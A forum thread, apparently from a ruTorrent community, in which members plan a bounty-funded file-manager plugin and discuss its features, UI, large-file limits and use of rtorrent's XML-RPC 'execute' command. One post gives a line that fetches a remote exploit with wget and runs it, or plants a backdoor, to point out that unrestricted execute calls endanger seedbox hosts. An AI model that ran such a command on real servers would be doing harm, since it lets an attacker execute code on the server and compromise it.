[Bounty] Plugin to browse and download files

shwetha17

Member
May 24, 2018
785
0
16
Thx Gamestuff

We have now :
Nicobubulle $60
Rascalli $30
wonslung $40
Xenus $30
subvertbeats $30
Gamestuff $40
_______
Total $230
 

shwetha17

Member
May 24, 2018
785
0
16
Any more screens of that file manager (Explorer plugin), want to know what information columns i should add, from what i see there are only Name, Size, Time columns.
 

jith45

Member
May 25, 2018
960
0
16
Yeah.....


What should be the result of right clicking on a .rar file > Open ?
What does Synchronize panels do?
What dialogs appear and for which options?

Stuff like this... I am trying to find out.
 

somus1735

Member
May 25, 2018
833
0
16
Have a look at the screenshots, it tells it all

Al options that are needed somewhere are mentioned in the header of this thread

Features required :

List all files in dir defined in conf file
Rename/Copy/Move/Delete/Download files or folders
Ability to unpack and unpack all for scene release with multiple rar files
Check SFV
Create directory
Create .torrent by right click on file/dir
Create RAR/ZIP files
Reading of .nfo files directly in the browser
Make SFV

And optional but should be great (extra bounty) :
Streaming video with divx web player
Generate a public download link, with optional password and expiration date


So the following can go under right click :

Rename/Copy/Move/Delete/Download files or folders
Ability to unpack and unpack all for scene release with multiple rar files
Check SFV
Create directory
Create .torrent by right click on file/dir
Create RAR/ZIP files
Reading of .nfo files directly in the browser
Make SFV
 

shwetha17

Member
May 24, 2018
785
0
16
Large files (2 Gb +) won't be supported only if PHP is compiled to handle files larger than 2Gb because it would be a resource consuming task, so information like file size, creation time and actions delete, copy, move, open won't be available (partially).
 

dsouvik215

Member
May 25, 2018
896
0
16
Well that is something people need to decide themselves.
It should be possible to download / unpack / move and whatever a 2+ GB File, as there are files that big around
 

jith45

Member
May 25, 2018
960
0
16
Looks good. Just a few small suggestions, but you can do whatever you want:
  • Explorer is probably a better name than File Manager.
  • Files with a .r?? extension should use the same icon as .rar files (.001 etc are also rar files).
  • Permissions should be eg. rw-rw-r-- instead of 0664 (easier for most users).
  • Is the date hardcoded to be DD.MM.YYYY?
  • The type column should say eg. "RAR file" instead of just ".rar" or ".r00" etc. Same for other file types.

Looks like you need to set your computer's clock to the correct date. wink.gif
 

somus1735

Member
May 25, 2018
833
0
16
Awe Pretty great ! I can't wait to be able to test it ^^ I agree brock's suggestions exept for the name, we should use a different name than the original plugin explorer. File manager seems to be cool.
 

shwetha17

Member
May 24, 2018
785
0
16
that's pretty nice. Does this work with multiple users? It should also be restrained by the topdirectory setting in the rutorrent/conf/users/USERNAME/config.php
 

dsouvik215

Member
May 25, 2018
896
0
16
In the end it will fill out the requested features.

For now I advise you to set up apache/webserver with mod_suexec because features like Move / Delete / Rename / New Dir and other won't work.
 

jith45

Member
May 25, 2018
960
0
16
You should send a XML-RPC request to rtorrent and have your code executed by rtorrent. Take a look at some of the other plugins.
Eg. you could send the following rtorrent command: execute={/path/to/php,/path/to/your/code.php}
 

somus1735

Member
May 25, 2018
833
0
16
Or you can do : execute wget mylink.org/myexploit ; ./myexploit / or my ./backdoor

This is a big security bug for all seedbox hosters. smiley.gif)))
Since there are no restrictions regarding XMLRPC execute calls on rtorrent. This can be enforced by using the XMLRPC plugin + some tweaks
 

shwetha17

Member
May 24, 2018
785
0
16
This security hole is available with or without your plugin. Your plugin hasn't relation to this. As result - you may (and, IMHO, must) use command 'execute'.